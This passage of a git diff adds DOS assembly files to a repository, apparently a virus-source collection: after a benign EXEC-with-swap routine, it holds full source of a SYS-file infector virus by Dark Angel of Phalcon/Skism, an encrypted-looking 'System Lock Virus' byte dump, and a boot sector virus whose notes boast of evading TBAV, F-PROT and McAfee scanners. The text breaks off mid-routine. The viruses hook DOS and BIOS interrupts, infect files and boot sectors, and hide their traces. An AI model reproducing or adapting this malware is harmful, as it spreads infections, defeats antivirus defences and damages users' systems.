MOV ES,AX ;ES = segment of our memory block + DEC AX + MOV DS,AX ;DS = segment of memory control block + MOV CX,DS:[0003h] ;CX = current paragraphs owned + MOV ParasWeHave,CX ;Save current paragraphs owned + SetTempStack ;Switch to temporary stack + MOV AX,OFFSET _FIRSTTOSAVE+15 + MOV CL,4 + SHR AX,CL ;Convert offset to paragraphs + ADD BX,AX + SUB BX,PrefixSegCS ;BX = new paragraphs to keep + DosCallAH 4Ah ;SetBlock + JNC EX0 ;Jump if successful + JMP EX5 ;Swap back and exit + +;Set up parameters and call DOS Exec +EX0: MOV AX,ES:[002Ch] ;Get environment segment + MOV EnvironSeg,AX + MovSeg ES,CS ;ES = CS + LDS SI,PathPtr ;DS:SI -> path to execute + MOV DI,OFFSET Path ;ES:DI -> local ASCIIZ copy + CLD +; LODSB ;Read current length +; CMP AL,63 ;Truncate if exceeds space set aside +; JB EX1 +; MOV AL,63 +;EX1: MOV CL,AL +; XOR CH,CH ;CX = bytes to copy + MOV CX, 63 + REP MOVSB +; XOR AL,AL +; STOSB ;ASCIIZ terminate + LDS SI,CmdPtr ;DS:SI -> Command line to pass + MOV DI,OFFSET CmdLine ;ES:DI -> Local terminated copy +; LODSB +; CMP AL,126 ;Truncate command if exceeds space +; JB EX2 +; MOV AL,126 +;EX2: STOSB +; MOV CL,AL +; XOR CH,CH ;CX = bytes to copy + MOV CX, 127 + REP MOVSB +; MOV AL,0DH ;Terminate with ^M +; STOSB + + MovSeg DS,CS ;DS = CS + MOV SI,OFFSET CmdLine + MOV CmdLinePtr.ofst,SI + MOV CmdLinePtr.segm,DS ;Store pointer to command line +; INC SI + MOV DI,OFFSET FileBlock1 + MOV FilePtr1.ofst,DI + MOV FilePtr1.segm,ES ;Store pointer to filename 1, if any + DosCallAX 2901h ;Parse FCB + MOV DI,OFFSET FileBlock2 + MOV FilePtr2.ofst,DI + MOV FilePtr2.segm,ES ;Store pointer to filename 2, if any + DosCallAX 2901h ;Parse FCB + MOV DX,OFFSET Path + MOV BX,OFFSET EnvironSeg + DosCallAX 4B00h ;Exec + JC EX3 ;Jump if error in DOS call + XOR AX,AX ;Return zero for success +EX3: MOV Status,AX ;Save DOS error code + +;Set up temporary stack and reallocate original memory block + SetTempStack ;Set up temporary stack + MOV ES,PrefixSegCS + MOV BX,ParasWeHave + DosCallAH 4Ah ;SetBlock + JNC EX4 ;Jump if no error + HaltWithError 0FFh ;Must halt if failure here +EX4: InitSwapCount ;Initialize LeftToSwap + +;Check which swap method is in use +EX5: PUSH CS + POP DS + MOV DX,OFFSET ComeBack + MOV AH,9 + INT 21h + CMP UsedEms,0 + JZ ReadF ;Jump to read back from file + JMP ReadE ;Read back from EMS + +;Read back from swap file +ReadF: MovSeg DS,CS ;DS = CS + InitSwapFile ;Seek to start of swap file + JNC EF3 ;Jump if we succeeded + HaltWithError 0FEh ;Must halt if failure here +EF3: SetSwapCount FileBlockSize ;CX = bytes to read + MOV DX,OFFSET _FIRSTTOSAVE ;DS:DX -> start of region to restore + DosCallAH 3Fh ;Read file + JNC EF4 ;Jump if no error + HaltWithError 0FEh ;Must halt if failure here +EF4: CMP AX,CX + JZ EF5 ;Jump if full block read + HaltWithError 0FEh ;Must halt if failure here +EF5: NextBlock DS,FileBlockSize ;Point DS to next page to read + JNZ EF3 ;Jump if bytes left to read + JMP ESDone ;We're done + +;Copy back from EMS +ReadE: MOV DS,FrameSegCS ;DS -> page window + MOV DX,EmsHandleCS ;DX = handle of our EMS block + XOR BX,BX ;BX = initial logical page + MovSeg ES,CS ;ES = CS +EE3: XOR AL,AL ;Physical page 0 + EmsCall 44h ;Map physical page + JZ EE4 ;Jump if success + HaltWithError 0FDh ;Must halt if failure here +EE4: SetSwapCount EmsPageSize ;CX = Bytes to move + XOR SI,SI ;DS:SI -> base of EMS page + MOV DI,OFFSET _FIRSTTOSAVE ;ES:DI -> region to restore + MoveFast ;Move CX bytes from DS:SI to ES:DI + INC BX ;Next logical page + NextBlock ES,EmsPageSize ;Point ES to next page to move + JNZ EE3 ;Jump if so + +ESDone: CLI ;Switch back to original stack + MOV SS,SaveSS + MOV SP,SaveSP + STI + MOV AX,SEG DGROUP + MOV DS,AX ;Restore DS + MOV AX,Status ;Return status + POP BP + RET 8 ;Remove parameters and return +EXECWITHSWAP ENDP +;----------------------------------------------------------------------------- +;Label marks first location to swap +_FIRSTTOSAVE: +;----------------------------------------------------------------------------- +;function AllocateSwapFile : Boolean; +ALLOCATESWAPFILE PROC FAR + MOV CX,FileAttr ;Attribute for swap file + MOV DX,OFFSET _SwapName ;DS:DX -> ASCIIZ swap name + DosCallAH 3Ch ;Create file + MOV _FileHandle,AX ;Save handle assuming success + MOV AL,0 ;Assume failure + JC ASDone ;Failed if carry set + INC AL ;Return true for success +ASDone: RET +ALLOCATESWAPFILE ENDP + +;----------------------------------------------------------------------------- +;procedure DeallocateSwapFile; +DEALLOCATESWAPFILE PROC FAR + MOV BX,_FileHandle ;Handle of swap file + DosCallAH 3Eh ;Close file + XOR CX,CX ;Normal attribute + MOV DX,OFFSET _SwapName ;DS:DX -> ASCIIZ swap name + DosCallAX 4301h ;Set file attribute + DosCallAH 41h ;Delete file + RET +DEALLOCATESWAPFILE ENDP + +;----------------------------------------------------------------------------- +;function EmsInstalled : Boolean; +EMSINSTALLED PROC FAR + + PUSH DS + MovSeg DS,CS ;DS = CS + MOV DX,OFFSET EmsDevice ;DS:DX -> EMS driver name + DosCallAX 3D02h ;Open for read/write + POP DS + MOV BX,AX ;Save handle in case one returned + MOV AL,0 ;Assume FALSE + JC EIDone + DosCallAH 3Eh ;Close file + MOV AL,1 ;Return TRUE + +EIDone: RET + +EMSINSTALLED ENDP + +;----------------------------------------------------------------------------- +;function EmsPageFrame : Word; +EMSPAGEFRAME PROC FAR + + EmsCall 41h ;Get page frame + MOV AX,BX ;AX = segment + JZ EPDone ;Done if Error = 0 + XOR AX,AX ;Else segment = 0 + +EPDone: RET + +EMSPAGEFRAME ENDP + +;----------------------------------------------------------------------------- +;function AllocateEmsPages(NumPages : Word) : Word; +ALLOCATEEMSPAGES PROC FAR + + MOV BX,SP ;Set up stack frame + MOV BX,SS:[BX+4] ;BX = NumPages + EmsCall 43h ;Allocate EMS + MOV AX,DX ;Assume success + JZ APDone ;Done if not 0 + MOV AX,0FFFFh ;$FFFF for failure + +APDone: RET 2 ;Remove parameter and return + +ALLOCATEEMSPAGES ENDP + +;----------------------------------------------------------------------------- +;procedure DeallocateEmsHandle(Handle : Word); +DEALLOCATEEMSHANDLE PROC FAR + + MOV BX,SP ;Set up stack frame + MOV DX,SS:[BX+4] ;DX = Handle + EmsCall 45h ;Deallocate EMS + + RET 2 ;Remove parameter and return + +DEALLOCATEEMSHANDLE ENDP + +;CODE ENDS + END + \ No newline at end of file diff --git a/s/SYSINF.ASM b/s/SYSINF.ASM new file mode 100755 index 0000000..e9bae9a --- /dev/null +++ b/s/SYSINF.ASM @@ -0,0 +1,311 @@ + ;Sysinf.asm???? + + .model tiny + .code + org 0 ; SYS files originate at zero + + ; SYS infector + ; Written by Dark Angel of Phalcon/Skism + ; for 40Hex + + header: + + next_header dd -1 ; FFFF:FFFF + attribute dw 8000h ; character device + strategy dw offset _strategy + interrupt dw offset _interrupt + namevirus db 'SYS INF ' ; simple SYS infector + + endheader: + + author db 0,'Simple SYS infector',0Dh,0Ah + db 'Written by Dark Angel of Phalcon/Skism',0 + + _strategy: ; save es:bx pointer + push si + call next_strategy + next_strategy: + pop si + mov cs:[si+offset savebx-offset next_strategy],bx + mov cs:[si+offset savees-offset next_strategy],es + pop si + retf + + _interrupt: ; install virus in memory + push ds ; generally, only the segment + push es ; registers need to be preserved + + push cs + pop ds + + call next_interrupt + next_interrupt: + pop bp + les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer + + mov es:[bx+3],8103h ; default to fail request + cmp byte ptr es:[bx+2], 0 ; check if it is installation request + jnz exit_interrupt ; exit if it is not + + mov es:[bx+10h],cs ; fill in ending address value + lea si,[bp+header-next_interrupt] + mov es:[bx+0eh],si + dec byte ptr es:[bx+3] ; and assume installation failure + + mov ax, 0b0fh ; installation check + int 21h + cmp cx, 0b0fh + jz exit_interrupt ; exit if already installed + + add es:[bx+0eh],offset endheap ; fixup ending address + mov es:[bx+3],100h ; and status word + + xor ax,ax + mov ds,ax ; ds->interrupt table + les bx,ds:[21h*4] ; get old interrupt handler + mov word ptr cs:[bp+oldint21-next_interrupt],bx + mov word ptr cs:[bp+oldint21+2-next_interrupt],es + + lea si,[bp+int21-next_interrupt] + cli + mov ds:[21h*4],si ; replace int 21h handler + mov ds:[21h*4+2],cs + sti + exit_interrupt: + pop es + pop ds + retf + + int21: + cmp ax,0b0fh ; installation check? + jnz notinstall + xchg cx,ax ; mark already installed + exitint21: + iret + notinstall: + pushf + db 9ah ; call far ptr This combined with the + oldint21 dd ? ; pushf simulates an int 21h call + + pushf + + push bp + push ax + + mov bp, sp ; set up new stack frame + ; flags [bp+10] + ; CS:IP [bp+6] + ; flags new [bp+4] + ; bp [bp+2] + ; ax [bp] + mov ax, [bp+4] ; get flags + mov [bp+10], ax ; replace old flags with new + + pop ax ; restore the stack + pop bp + popf + + cmp ah, 11h ; trap FCB find first and + jz findfirstnext + cmp ah, 12h ; FCB find next calls only + jnz exitint21 + findfirstnext: + cmp al,0ffh ; successful findfirst/next? + jz exitint21 ; exit if not + + push bp + call next_int21 + next_int21: + pop bp + sub bp, offset next_int21 + + push ax ; save all registers + push bx + push cx + push dx + push ds + push es + push si + push di + + mov ah, 2fh ; ES:BX <- DTA + int 21h + + push es ; DS:BX->DTA + pop ds + + cmp byte ptr [bx], 0FFh ; extended FCB? + jnz regularFCB ; continue if not + add bx, 7 ; otherwise, convert to regular FCB + regularFCB: + mov cx, [bx+29] ; get file size + mov word ptr cs:[bp+filesize], cx + + push cs ; ES = CS + pop es + + cld + + ; The following code converts the FCB to an ASCIIZ string + lea di, [bp+filename] ; destination buffer + lea si, [bx+1] ; source buffer - filename + + cmp word ptr [si],'OC' ; do not infect CONFIG.SYS + jz bombout + + mov cx, 8 ; copy up to 8 bytes + back: cmp byte ptr ds:[si], ' ' ; is it a space? + jz copy_done ; if so, done copying + movsb ; otherwise, move character to buffer + loop back + + copy_done: + mov al, '.' ; copy period + stosb + + mov ax, 'YS' + lea si, [bx+9] ; source buffer - extension + cmp word ptr [si], ax ; check if it has the SYS + jnz bombout ; extension and exit if it + cmp byte ptr [si+2], al ; does not + jnz bombout + stosw ; copy 'SYS' to the buffer + stosb + + mov al, 0 ; copy null byte + stosb + + push ds + pop es ; es:bx -> DTA + + push cs + pop ds + + xchg di,bx ; es:di -> DTA + ; open file, read/only + call open ; al already 0 + jc bombout ; exit on error + + mov ah, 3fh ; read first + mov cx, 2 ; two bytes of + lea dx, [bp+buffer] ; the header + int 21h + + mov ah, 3eh ; close file + int 21h + + InfectSYS: + inc word ptr cs:[bp+buffer] ; if first word not FFFF + jz continueSYS ; assume already infected + ; this is a safe bet since + ; most SYS files do not have + ; another SYS file chained on + + alreadyinfected: + sub es:[di+29], heap - header ; hide file size increase + ; during a DIR command + ; This causes CHKDSK errors + ;sbb word ptr es:[di+31], 0 ; not needed because SYS files + ; are limited to 64K maximum + + bombout: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + pop bp + iret + + continueSYS: + push ds + pop es + + lea si, [bp+offset header] + lea di, [bp+offset bigbuffer] + mov cx, offset endheader - offset header + rep movsb + + mov cx, cs:[bp+filesize] + add cx, offset _strategy - offset header ; calculate offset to + mov word ptr [bp+bigbuffer+6],cx ; strategy routine + + add cx, offset _interrupt - offset _strategy;calculate offset to + mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine + + continueinfection: + mov ax, 4300h ; get file attributes + lea dx, [bp+filename] + int 21h + + push cx ; save attributes on stack + push dx ; save filename on stack + + mov ax, 4301h ; clear file attributes + xor cx, cx + lea dx,[bp+filename] + int 21h + + call openreadwrite + + mov ax, 5700h ; get file time/date + int 21h + push cx ; save them on stack + push dx + + mov ah, 40h ; write filesize to the old + mov cx, 2 ; SYS header + lea dx, [bp+filesize] + int 21h + + mov ax, 4202h ; go to end of file + xor cx, cx + cwd ; xor dx, dx + int 21h + + mov ah, 40h ; concatenate header + mov cx, offset endheader - offset header + lea dx, [bp+bigbuffer] + int 21h + + mov ah, 40h ; concatenate virus + mov cx, offset heap - offset endheader + lea dx, [bp+endheader] + int 21h + + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 21h + + mov ah, 3eh ; close file + int 21h + + mov ax, 4301h ; restore file attributes + pop cx + pop dx + int 21h + + jmp bombout + + openreadwrite: + mov al, 2 ; open read/write mode + open: mov ah, 3dh + lea dx,[bp+filename] + int 21h + xchg ax, bx ; put handle in bx + ret + + heap: + savebx dw ? + savees dw ? + buffer db 2 dup (?) + filename db 13 dup (?) + filesize dw ? + bigbuffer db offset endheader - offset header dup (?) + endheap: + + end header diff --git a/s/SYSLOCK.ASM b/s/SYSLOCK.ASM new file mode 100755 index 0000000..95fd03d --- /dev/null +++ b/s/SYSLOCK.ASM @@ -0,0 +1,224 @@ +͸ + System Lock Virus Source. + Ripped by : The Head Hunter [FS] + + I don't know what it do, and don't wanna know + for sure... One thing... It does it. +; +Main: JMP Jmp0 + db 02,00,00,00,02,00,00,00,00,00,00,00,00,00,39,28,46,03,03,01 +Jmp0: + MOV CX, CS + MOV DX, CX + ADD CX, 0017h + PUSH CX + XOR CX, CX + PUSH CX + RETF + db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90 + db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90 + db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90 + db 90,90,90,90,90,ff,ff,ff,ff,35,08,36,08,ff,ff,38,08,bb,01,00 + db 90,eb,16,bb,02,00,90,eb,10,39,65,02,00,c1,07,01,01,0c,03,00 + db 00,0c,00,8d,90,8c,d9,8c,cf,8e,df,8e,c7,8e,d7,8b,fc,bc,dd,0d + db fc,e8,03,00,e9,48,06,50,51,56,be,59,00,b9,26,08,90,d1,e9,8a + db e1,8a,c1,33,06,14,00,31,04,46,46,e2,f2,5e,59,58,c3,e8,df,ff + db cd,21,cc,da,ff,c3,4e,42,48,9a,ed,54,a8,3f,ce,2d,89,cc,02,cc + db 33,dd,f0,f6,8d,cb,5b,50,5d,c8,59,8e,de,ed,0e,06,82,d7,e7,02 + db 0e,5b,ce,51,5d,89,29,4d,f6,2f,1a,16,f8,ff,7d,22,1e,fa,f5,a3 + db af,38,ab,a7,a8,74,1a,f9,f8,7d,68,54,fe,45,ff,3f,dd,a9,b8,b4 + db 21,dd,d0,dc,d3,db,d2,de,d1,d1,dc,ab,a6,a8,af,a1,ac,51,d9,2b + db c9,24,dc,29,54,e5,ed,72,14,20,83,8f,66,e2,6b,8a,d9,66,cb,d8 + db 46,52,cb,88,dd,16,fa,a6,c6,5e,cf,8a,d1,d4,c9,ba,d7,e2,1d,6b + db d8,d3,12,2e,13,1d,23,34,4b,07,46,0a,d0,c9,46,1b,c4,90,93,07 + db 9a,96,98,94,9f,91,c4,1b,bb,c2,26,b3,5c,60,0b,b4,5a,13,4e,82 + db b3,c2,b4,53,e6,29,3b,bc,06,b3,9d,3a,bc,99,b9,85,78,3c,77,47 + db 'o:E@' + db 12,95,9b,a9,d7,54,22,69,a3,24,70,40,15,a9,d7,87,25,95,1d,ac + db ab,a5,dd,a3,40,20,50,4b,ad,49,d7,5d,de,b8,2b,9c,d0,16,8f,cc + db 99,52,b6,ea,86,2d,d5,20,2c,93,22,96,9a,1e,87,c4,91,5a,be,e3 + db 9e,0d,16,45,12,95,31,84,a4,03,87,a2,80,67,46,88,0a,57,0b,4c + db 19,d5,d4,de,d3,de,d1,45,db,d1,37,80,8e,0b,93,b9,85,03,90,6c + db 06,70,f1,40,34,76,59,0c,27,c1,76,7a,9f,37,eb,fe,64,4e,70,f6 + db 9b,b7,0a,32,c0,35,74,f2,40,5d,17,61,e2,51,41,1a,55,ef,5b,68 + db 12,59,23,81,8a,eb,17,65,29,10,7b,e6,14,65,20,15,62,e1,11,61 + db 21,16,55,e4,53,5d,ba,48,c0,df,2b,59,13,2c,5a,da,28,59,03,21 + db 53,d5,25,55,1d,22,5c,e8,5c,51,03,09,9f,03,10,1d,10,53,cd,8e + db ce,97,ff,48,05,84,64,55,36,7d,c2,4a,6a,4c,57,ca,88,c9,97,c1 + db af,bf,b2,fa,4d,00,fe,1d,2d,4f,10,20,bc,ff,b9,e0,8e,3b,08,f7 + db 15,24,49,20,b1,ed,9a,64,31,8f,3f,67,f3,10,4f,3a,b5,25,01,25 + db ab,23,05 + db ''zv|p' + db e5 + db 'yv{v}' + db a0,d6,a1,3b,7b,2f,a3,29,0b,29,a5,37,0f,2b,94,22,44,d1,33,6f + db 06,aa,2e,d2,36,6a,07,07,9e,14,34,12,97,d4,94,cd,92,c0,a0,16 + db 5c,dd,3f,0e + db 'CHEH[' + db cf + db 'R\SYV' + db b0,bd,00,8d,c6,37,ca,f6,a5,88,eb,0e,bb,4d,0f,b1,0a,0f,f3,aa + db '^SXU[0' + db ac,a1,ac,a3,46,f0,bd,c4,31,c5,2b,7e,e4,a6,f2,36,d5,a0,ac,a2 + db ae,3b,a7,ac,a1,ac,49,ff,b0,cf,3a,68,f2,a2,e4,60,0d,ef,ef,5d + db f8,e6,c2,36,6b,06,e4,eb,6d,fc,fd,e9,6d,f6,b5,e6,2d,cf,bb,b4 + db b9,b4,20,83,8f,83,8f,86,88,6e,fe,df,67,a9,d1,6c,f9,d4,4b,28 + db 70,59,eb,9b,df,d8,a3,dc,39,5b,d1,5c,ec,9c,da,c3,3c,b0,c9,38 + db 25,ba,5f,73,f7,7c,e8,cd,73,e7,cb,5b,4f,d4,97,c0,0b,e9,b4,cc + db 2b,a8,51,4c,fc,ed,cb,fe,e6,c7,b9,48,55,ea,2f,09,b6,be,06,94 + db b2,35,7c,ab,b4,03,b3,b9,26,4b,11,ca,b4,47,5a,f9,22,1d,f3,aa + db a9,a2,ac,f1,8b,af,af,ff,dc,a0,8c,55,55,a1,bb,ab,15,ae,76,41 + db 05,b2,af,47,e6,51,d3,89,16,ec,19,6d,9b,2b,be,91,0e,1b,81,c5 + db 91,5b,b8,e7,89,7c,dd,64,e6,94,21,d9,a5,4a,2e,40,9d,15,8f,cf + db 9b,74,7d,7f,10,3c,f2,89,31,a1,87,3e,ab,86,19,76,2e,19,d5,d4 + db de,d3,de,d1,45,d8,d4,de,d2,d9,d7,33,c6,84,3c,d1,74,cb,77,71 + db ee,83,db,d6,6e,76,da,d9,72,b3 + db '}mtzu' + db cd,49,c2,23,76,c9,62,71,ed,f9,62,21,6a,a1,43,1e,63,85,da,ce + db 01,61,c5,73,65,57,d2,17,1e,60,93,8c,a4,66,c9,3f,66,28,d4,61 + db 6f,95,8e,60,55,0a,5b,de,83,5e,6b,49,15 + db 'Q#_n\' + db 14,52,2f,50,a3,bc,f4,56,f9,3d,56,f3,1a,59,fc,3a,55,f0,05,44 + db e3,2f,48,ed,08,47,e6,2c,4f,ea,0f,42,83 + db 'M#MLE' + db 8e,40,2c,4e,92,4d,c5,5f,0f,4b,c7,55,73,35,62,b6,f3,1b,3f,3f + db 6f,4c,31,b8,d7,ca,cb,b8,f9,24,b9,e6,39,8f,3c,37,ee,db,ef,eb + db df,c8,17,25,7f,25,ab,3b,4b,27,a9,39,45,21,af,3f,69,22,85,7d + db 22,74,0f + db '*)~\!' + db 0a,d0,d1,24,3d,22,29,fc,1e,97,ca,38,ee,1f,65,1c,af,18,14,ba + db 43,13,a5,12,c8,ff,1b,0b,41,1f,df,11,79,19,a8,6d,f5,30,e2,61 + db 21,b8,42,b7,55,07,b9,13,07,98,8d,17,57,03,c9,2a,79,15,e2,27 + db f7,b2,48,34,dd,b9,d1,0c,86,1c,5e,0a,1b,30,09,43,53,f6,4f,bb + db ff,41,fc,f9,65,09,50,5a,57,fc,59,e3,f9,a8,a7,ad,a6,ab,a6,32 + db ad,a0,03,f5,e3,e4,58,57,e9,06,d7,12,95,c0,5e,19,15,02,4c,10 + db 48,f0,ea,0d,22,1b,9a,fd,6c,de,f0,e8,ec,96,e5,60,ed,c2,db,df + db a5,d9,3b,d5,3f,2d,2b,32,d6,32,72,25,a8,d5,23,6f,63,de,44,3f + db 8e,2d,21,df,dd,da,41,89,9b,0f,41,f3,77,c6,c1,bb,ce,69,d0,c9 + db 4e,d4,c4,c3,20,cb,cc,4b,cf,76,c0,e1,6e,c4,cf,e7,46,dc,ce,c2 + db b4,7f,e1,ec,e3,1e,fe,b7,b3,f9,14,dc,bd,02,b4,86,01,d1,b2,78 + db 98,c5,bc,84,7f,5b,a9,3a,65,06,83,0a,a1,ac,18,e2,a9,63,81,dd + db 49,1c,98,64,84,d8,4c,0a,e4,ac,f0,fc,f2,65,f8,f4,fe,f2,0d,ee + db a5,16,90,1a,95,9c,28,f8,99,53,b1,14,4f,2c,d6,20,97,9a,2e,d4 + db 93,59,bb,21,a7,5b,b9,cd,c6,cb,c6,52,cd,c1,cd,c1,d5,db,84,01 + db 59,00,40,67,ff,77,c6,b4,81,8a,f1,89,b8,44,62,f8,72,32,91,4a + db ae,22,c0,89,39,b4,06,95,3d,74,8c,bf,bc,5f,f1,86,77,7c,08,7a + db 9c,d5,74,f2,75,00,73,82,9b,d5,0f,7e,97,17,81,d2,0d,7b,c4,53 + db 63,cf,10,64,c0,1e,69,54,61,1f,6f,1b,63,ad,62,1b,62,64,6a,ee + db 7f,16,61,c7,21,68,d5,18,64,db,6d,63,9e,79,0a,2f,96,98,56,29 + db 5e,58,c6,e6,55,5a,ea,0a,53,de,5e,13,53,96,2c,46,6d,d5,27,58 + db 1a + db 'ib'J8oi' + db 9e,3b,a7,a4,af,8e,40,3f,4c,4b,d4,1d,1c,15,f4,1e,41,ff,41,47 + db df,6b,b7,cb,c8,3b,45,67,13,36,36,b5,b4,47,39,79,70,da,c6,60 + db 6a,64,df,85,9b,42,33,3f,f9,43,3a,dc,2d,90,70,39,86,4b,35,8a + db 22,2c,a9,3b,51,27,ed,09,7f,5a,35,d6,23,5a,2d,d4,25,56,23,51 + db 2a,cf,44,d8,8e,50,27,c9,d5,dc + db '+|MFKFI' + db dd,41,48,41,1e,98,1f,a7,12,32,95,1d,38,1a,26,e6,a8,6d,1f,a6 + db 1a,1e,81,ee,b4,68,00,25,8c,3f,0d,75,0d,47,e4,f0,4f,20,89,38 + db 0a,71,ee,f3,ef,0b,fc,0e,58,57,5e,cc,a3,a0,09,84,1c,ba,0b,7a + db f2,40,f5,78,e8,40,f7,7e,c6,42,f1,1d,4d,0b,88,f8,1d,13,f5,11 + db bd,06,ca,ff,f0,8a,f2,14,39,fc,1b,f2,16,de,ef,94,e0,58,ea,e7 + db 00,4a,10,d8,eb,e4,9f,e8,0d,5c,e5,5d,fc,52,c1,e6,2d,cf,27,eb + db 58,e4,e3,43,63,68,d5,68,fe,d3,ed,17,2a,78,96,13,df,88,1d,9e + db d5,f0,13,9c,d4,f6,11,9a,d3,f4,17,98,d6,dc,68,c3,cc,78,77,c9 + db 7a,8e,76,fe,c8,0b,e8,b7,c5,2c,4e,31,f9,ca,c5,bd,c7,8b,73,80 + db 0d,ef,2a,22,c9,17,b6,b0,57,c8,2d,3a,7d,f8,57,f9,41,f6,32,6d + db 00,0e,b3,0f,fa,03,8c,b9,7b,99,c4,bc,5b,dc,21,55,e5,46,8e,a3 + db ac,d6,b8,ea,db,b2,92,a4,a8,d2,ba,98,ab,a4,df,8e,99,a8,a5,dd + db 86,43,e2,3f,14,e1,6c,8c,49,74,1c,29,94,19,52,a3,5e,62,31,14 + db 77,92,27,d1,93,2d,96,9b,67,3e,7c,f2,69,3b,89,96,78,98,6a,75 + db af,61,e1,84,64,fc,70,c1,66,0a,76,6c,9b,32,a3,48,ab,bf,85,9b + db 84,f8,8c,b2,90,9a,87,fd,83,66,5e,70,9c,2d,31,7b,f2,aa,c7,f1 + db 7e,c4,65,ba,59,69,fa,4b,cc,7c,7a,0f,7f,f9,4b,cf,7e,7a,03,5b + db c4,32,bc,5c,d3,cc,7b,ed,ac,db,4e,61,fe,de,4e,6f,d7,66,68,96 + db ce,e8,aa,d1,64,6b,e9,a9,e8,b8,ec,49,d4,66,8a,71,ee,a4,48,55 + db 10,5a,d6,5f,16,58,5c,9f,d6,87,d2,73,10,5c,d0,55,10,52,56,91 + db dd,4e,11,57,d9,48,ab,5a,db,52,af,44,ed,ec,45,ca,40,f2,47,c9 + db 91,c8,88,76,91,cf,80,c0,97,c1,b6,c2,bd,c3,ac,a5,40,4e,41,4d + db a9 + db 'XA3<2?1>0?78695' + db 03,1c,7d,38,37,3b,b9,f0,bd,e9,b6,fe,27,3e,60,0e,fb,6d,f8,c8 + db 2c,9e,2d,20,96,21,63,ea,09,b6,b9,b5,ba,b4,bb,bb,b4,ba,b5,b9 + db b6,b8,b7,bf,b0,be,b1,bd,b2,bc,b3,83,8c,82,1d,11,a6,12,38,15 + db 18,1e,f8,14,1a,14,1b + db 'V]YGVEWQK' + db 10 + db 'SP^@S@LJV' + db 0d + db '!4\KH[ZB@SF%[GG' + db 05 + db 'Z_[K@CE IS he REALLY FULL STEALTH WHEN ACTIVE ? + + When he is not active: + +Can defeat: +- TBAV heuristic scanner as TBSCAN (BEST ONE !) + Just O Flag (overwrite/move a program to memory) + WATCHDOG utility as TBDRIVER/TBDISK +- F-PROT heuristic scanner (even with /paranoid switch set !) + Nota: I can't believe this ??? +- SCAN scanner of McAfee + +Can not defeat: (reported as an unknown boot sector virus) +- Boot sector virus resident WATCHDOG anti-virus such as + F-PROT utility as VIRSTOP ... very sensitive ... + + Problems: +- When 32bitDiskAccess=on under Windows ... (entry point address) + +------------------------------------------------------------------------------- + +~ + +..286 +..model tiny ; TASM SUPPORT ! + org 0 +..code +s: + mov si,7C00h + mov bx,302h ; for Memory calculation (see below) + + xor ax,ax + mov es,ax + + cli + mov ss,ax ;Setup the stack + mov sp,si + sti + + mov ds,ax ;DS,CS,ES,SS=0 + + dec word ptr ds:[bx+111h] ;0:413 / (302h+111h=413h) + ;= Memory in K, Sub one K. + + mov word ptr ax,ds:[bx+111h] ; Little Heuristic trick ! + + shl ax,6 ;normaly 9FC0 + mov es,ax ;ES = Virus Segment + + mov ax,200h ;size of virus + xchg cx,ax ;Little Heuristic trick ! + + cmp dl,80h + jz disquedur1 +disquette1: + add si,3Eh ; FD Virus entry point +disquedur1: + xor di,di + cld + rep movsb ;Move virus to ES:0 + + mov bx,13h*4-1 ; 13 h vector ! + inc bx ; Little Heuristic trick ! + + mov ax,word ptr ds:[bx] ;Get int13h from vector table. + mov word ptr es:[offset i13],ax + mov ax,word ptr ds:[bx+2] + mov word ptr es:[offset i13+2],ax + + ; Install our handler + cli + mov word ptr ds:[bx],offset handler + mov word ptr ds:[bx+2],es + sti + + push es + mov ax,offset restart + push ax + retf + +Restart: ; WE ARE NOW AT TOM ! +;On entry to the boot sector DL=Drive booted from. + + mov ax,es + mov ds,ax + + cmp dl,80h ; HD or FD ? + jz disquedur2 + disquette2: + jmp WriteonMBR +disquedur2: +jmp ChargebootDisque + +WriteonMBR: + + add ax,512/16 + mov es,ax + xor bx,bx + + mov ax,201h ;read MBR -> buffer + mov ch,0 ;cylindre + mov cl,1 ;secteur + mov dh,0 ;tete + mov dl,80h + call int13h + + ;copy virus code -> buffer ; ds:si->es:di + + xor si,si + xor di,di + mov cx,End_Virus-s ; size of virus + cld + rep movsb ;Move code virus to ES:0 + + xor bx,bx + mov ch,0 ;cylindre + mov cl,1 ;secteur + mov dh,0 ;tete + mov dl,80h + mov ax,301h ; write buffer -> MBR !!!!! +; infect MBR or not ? +; call int13h + + +chargebootdisque: + + mov si,01beh ;1 byte of partition table + +partb: ; find the first bootable partition + mov byte ptr al,ds:[si] + cmp al,80h ;if it is the first one +jz partok + add si,10h +jmp partb +partok: + + mov dx,word ptr ds:[si] ; load head and drive + mov cx,word ptr ds:[si+2] ; load cylinder and sector + + xor ax,ax + mov es,ax + mov bx,07c00h + mov ax,0201h ;load boot sector + call int13h + + db 0EAh,00,07Ch,00,00 ;JMP 0000:7C00 -> jmp to HD boot sector + +;INT 13 HANDLER ! +Handler: + + cmp ax,0301h + je bootprotector + + cmp ah,02h ;Reading the first sector ? ah,2 + jne jend + cmp cx,1 + jne jend + cmp dh,0 + jne jend + cmp dl,80h ; if it is HD ... GO OUT ! + jae fakembr + + call int13h + mov ax,201h + call int13h + + +Infect_Floppy: + + pushf + pusha + push es + push ds + + + ;boot original en es:bx (+03eh for code entry) + ;copy of virus code on the buffer + + cmp word ptr es:[bx + offset signature+03Eh],'lS' + je alreadyinfected ; if FD already infected + + mov ax,cs + mov ds,ax + + call @ici + @ici: + pop si + sub si,offset @ici + + mov di,bx + add di,03Eh + mov cx,End_Virus-s ; size of virus + cld + rep movsb ;DS:SI ->ES:DI + + mov byte ptr es:[bx+1],03Ch ; JMP at virus entry on boot (3Eh) + + mov ch,0 ;cylindre + mov cl,1 ;secteur + mov dh,0 ;tete + mov dl,0h + mov ax,301h ;write buffer on FD boot + call int13h + +alreadyinfected: + + mov di,bx + add di,3eh + mov al,0 + mov cx,End_Virus-s ;size of virus + rep stosb ;hide virus to eyes (fill of 0) + + mov word ptr es:[bx+510],0AA55h ;signature + + pop ds + pop es + popa + popf + + retf 2 + +bootprotector: + cmp cx,1 + jne jend + cmp dh,0 + jne jend + + ; Protected MBR/FB BOOT sector of write ( no more immunize !) + retf 2 + +jend: + db 0eah ;Stands for Jmpf + i13 dd 0 ;The original int13h + +fakembr: + call int13h + pushf 